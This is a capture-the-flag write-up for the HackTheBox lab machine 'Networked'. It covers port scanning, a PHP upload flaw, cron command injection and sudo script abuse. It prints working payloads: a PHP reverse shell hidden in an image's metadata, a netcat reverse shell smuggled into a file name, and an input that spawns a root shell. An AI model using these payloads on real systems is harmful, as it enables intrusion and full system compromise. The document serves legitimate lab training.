Networked - HackTheBox
Information gathering
Let's start, as usual, with a port scan:
$ nmap -A -T4 10.10.10.146
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-22 00:48 EDT
Nmap scan report for 10.10.10.146
Host is up (0.051s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)
| 256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)
|_ 256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
443/tcp closed https
There's a web server, this is the homepage content:
<html>
<body>
Hello mate, we're building the new FaceMash!</br>
Help by funding us and be the new Tyler&Cameron!</br>
Join us at the pool party this Sat to get a glimpse
<!-- upload and gallery not yet linked -->
</body>
</html>
As the comment says, the upload and the gallery are not linked yet. Let's search if they are already on the server:
$ gobuster dir -q -t 40 -w raft-large-directories.txt -u http://10.10.10.146
/backup (Status: 301)
/uploads (Status: 301)
$ gobuster dir -q -t 40 -w raft-large-files.txt -u http://10.10.10.146
/index.php (Status: 200)
/upload.php (Status: 200)
/photos.php (Status: 200)
/lib.php (Status: 200)
The /backup
directory contains a tar archive, so after downloading it let's
extract it:
$ tar -xvf backup.tar
index.php
lib.php
photos.php
upload.php
They seem to be the same files that are hosted on the web server! Let's check
upload.php
:
<?php
require '/var/www/html/lib.php';
define("UPLOAD_DIR", "/var/www/html/uploads/");
if( isset($_POST['submit']) ) {
if (!empty($_FILES["myFile"])) {
$myFile = $_FILES["myFile"];
if (!(check_file_type($_FILES["myFile"]) && filesize($_FILES['myFile']['tmp_name']) < 60000)) {
echo '<pre>Invalid image file.</pre>';
displayform();
}
if ($myFile["error"] !== UPLOAD_ERR_OK) {
echo "<p>An error occurred.</p>";
displayform();
exit;
}
//$name = $_SERVER['REMOTE_ADDR'].'-'. $myFile["name"];
list ($foo,$ext) = getnameUpload($myFile["name"]);
$validext = array('.jpg', '.png', '.gif', '.jpeg');
$valid = false;
foreach ($validext as $vext) {
if (substr_compare($myFile["name"], $vext, -strlen($vext)) === 0) {
$valid = true;
}
}
if (!($valid)) {
echo "<p>Invalid image file</p>";
displayform();
exit;
}
$name = str_replace('.','_',$_SERVER['REMOTE_ADDR']).'.'.$ext;
$success = move_uploaded_file($myFile["tmp_name"], UPLOAD_DIR . $name);
if (!$success) {
echo "<p>Unable to save file.</p>";
exit;
}
echo "<p>file uploaded, refresh gallery</p>";
// set proper permissions on the new file
chmod(UPLOAD_DIR . $name, 0644);
}
} else {
displayform();
}
?>
What it does is it checks if the uploaded file is an image, renames it to our IP
address with underscores instead of dots and puts it in the uploads directory.
This is the lib.php
file:
<?php
function getnameCheck($filename) {
$pieces = explode('.',$filename);
$name= array_shift($pieces);
$name = str_replace('_','.',$name);
$ext = implode('.',$pieces);
#echo "name $name - ext $ext\n";
return array($name,$ext);
}
function getnameUpload($filename) {
$pieces = explode('.',$filename);
$name= array_shift($pieces);
$name = str_replace('_','.',$name);
$ext = implode('.',$pieces);
return array($name,$ext);
}
function check_ip($prefix,$filename) {
//echo "prefix: $prefix - fname: $filename<br>\n";
$ret = true;
if (!(filter_var($prefix, FILTER_VALIDATE_IP))) {
$ret = false;
$msg = "4tt4ck on file ".$filename.": prefix is not a valid ip ";
} else {
$msg = $filename;
}
return array($ret,$msg);
}
function file_mime_type($file) {
$regexp = '/^([a-z\-]+\/[a-z0-9\-\.\+]+)(;\s.+)?$/';
if (function_exists('finfo_file')) {
$finfo = finfo_open(FILEINFO_MIME);
if (is_resource($finfo)) // It is possible that a FALSE value is returned, if there is no magic MIME database file found on the system
{
$mime = @finfo_file($finfo, $file['tmp_name']);
finfo_close($finfo);
if (is_string($mime) && preg_match($regexp, $mime, $matches)) {
$file_type = $matches[1];
return $file_type;
}
}
}
if (function_exists('mime_content_type'))
{
$file_type = @mime_content_type($file['tmp_name']);
if (strlen($file_type) > 0) // It's possible that mime_content_type() returns FALSE or an empty string
{
return $file_type;
}
}
return $file['type'];
}
function check_file_type($file) {
$mime_type = file_mime_type($file);
if (strpos($mime_type, 'image/') === 0) {
return true;
} else {
return false;
}
}
function displayform() {
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post" enctype="multipart/form-data">
<input type="file" name="myFile">
<br>
<input type="submit" name="submit" value="go!">
</form>
<?php
exit();
}
?>
The biggest problem is that the file_mime_type
function, determines the type
of file based on the magic bytes.
So if we embed some PHP code in an image, and name it image.php.png
the server
will name it , in my case, 10.10.14.8.php.png
, it will replace the dots in the
file name with underscores and the final name will be 10_10_14_8.php.png
and
this allows PHP to run the code inside it.
This is an example of the gallery after a file gets uploaded:
Getting a shell
Let's embed a PHP command to execute a reverse shell, I will use exiftool for convenience:
$ exiftool -Comment='<?php system("nc 10.10.14.4 1337 -e /bin/bash"); ?>' hackthebox.png
1 image files updated
Let's rename the file and upload it. After refreshing the gallery page, the PHP code gets executed and we have shell:
$ nc -lnvp 1337
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.10.10.146.
Ncat: Connection from 10.10.10.146:57998.
whoami
apache
Escalate to user
After some common enumeration techniques and procedure, I found two appealing files in the home directory of the user, which we can read, luckily:
bash-4.2$ ls /home/guly
check_attack.php crontab.guly user.txt
The cron file calls every three minutes a PHP script:
*/3 * * * * php /home/guly/check_attack.php
Hopefully it will be installed in the cron daemon.
The check_attack.php
file checks content of the uploads directory and if there
is a file that does not respect the custom IP address syntax that the
upload.php
file creates, it deletes it:
{{< highlight php "linenos=table" >}}
{{< /highlight >}}
The vulnerability lies in line 29, because the $value
variable represents the
file name in the uploads directory and it is included in the exec
function without any checks.
For example, if there was a file called ; ls
, the exec
function would execute this:
nohup /bin/rm -f $path; ls > /dev/null 2>&1 &
As user apache
we can create files in the upload directory, so we can try to
execute a netcat reverse shell.
Let's create a file called ; nc 10.10.14.1 1338 - bash
, but we need to escape
spaces:
$ touch \;nc\ 10\.10\.14\.4\ 1338\ -c\ bash
Let's setup our listener and in maximum of three minutes, we should get a shell:
$ nc -nlvp 1338
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1338
Ncat: Listening on 0.0.0.0:1338
Ncat: Connection from 10.10.10.146.
Ncat: Connection from 10.10.10.146:58834.
And here it is! Let's use python to have a prompt and check the flag:
python -c "import pty; pty.spawn('/bin/bash')"
[guly@networked ~]$ wc -c user.txt
33 user.txt
I suggest to create a pair of ssh keys and add it to the authorized keys of the user, to have a stable shell.
Privilege escalation
Running the usual LinEnum we find out that we can run a command as root without providing the password:
[+] We can sudo without supplying a password!
User guly may run the following commands on networked:
(root) NOPASSWD: /usr/local/sbin/changename.sh
Let's check what the changename.sh
script does:
{{< highlight bash "linenos=table" >}}
#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF
regexp="^[a-zA-Z0-9_\ /-]+$"
for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do echo "interface $var:" read x while [[ ! $x =~ $regexp ]]; do echo "wrong input, try again" echo "interface $var:" read x done echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly done
/sbin/ifup guly0 {{< /highlight >}}
What it does is it asks the user for some parameters to configure a network
interface, and the given input must match the regular expression. The problem is
that in line 18, if we gave foo bash
as input, the $var
variable becomes
foo
, and bash
will be executed. And luckily for us, we can use spaces as
input.
Let's try to get a root shell then:
[guly@networked ~]$ sudo /usr/local/sbin/changename.sh
interface NAME:
foo bash
interface PROXY_METHOD:
bar
interface BROWSER_ONLY:
foo
interface BOOTPROTO:
bar
[root@networked network-scripts]# wc -c /root/root.txt
33 root.txt
Lessons learned: read carefully the documentation before writing system scripts!